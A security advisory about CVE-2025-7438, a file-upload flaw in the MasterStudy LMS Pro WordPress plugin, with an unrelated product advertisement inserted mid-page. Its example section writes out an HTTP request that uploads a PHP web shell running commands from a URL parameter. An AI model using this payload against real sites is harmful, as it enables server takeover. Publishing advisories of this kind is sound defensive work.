Overview
The MasterStudy LMS Pro plugin for WordPress, a popular learning management system, contains a critical vulnerability that allows authenticated attackers to upload arbitrary files. This vulnerability could lead to potential system compromise or data leakage, affecting all versions up to and including 4.7.9.
Vulnerability Summary
CVE ID: CVE-2025-7438
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: Subscriber-level access
User Interaction: Required
Impact: Potential system compromise or data leakage
Affected Products
Share secrets securely
Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.
Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.
- • Encrypted identity
- • Private Spaces for organizations and teams
- • End-to-end encrypted chat, calls, files, and notes
- • Sensitive AI work and protected collaboration
- • Built for information that cannot leak
Our mission is to secure human work alongside AI.
Product | Affected Versions
MasterStudy LMS Pro for WordPress | Versions up to and including 4.7.9
How the Exploit Works
The vulnerability resides in the ‘install_and_activate_plugin’ function which lacks proper file type validation, allowing for the upload of arbitrary files. An authenticated attacker, with Subscriber-level access, can exploit this vulnerability to upload and execute arbitrary code on the server. The vulnerability is difficult to exploit due to timing requirements and environmental factors, but a successful exploit could potentially compromise the system or lead to data leakage.
Conceptual Example Code
Below is a conceptual example of how the vulnerability might be exploited. It demonstrates a malicious file upload using an HTTP POST request.
POST /wp-admin/admin-ajax.php?action=stm_lms_pro_install_plugin&plugin=malicious_payload HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious_payload.php"
Content-Type: application/x-php
<?php
echo shell_exec($_GET['cmd']);
?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--Mitigation Measures
Until a patch is provided by the vendor, it is recommended to use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to help mitigate this vulnerability. Monitoring the system for any unusual activity can also help detect any potential exploit attempts.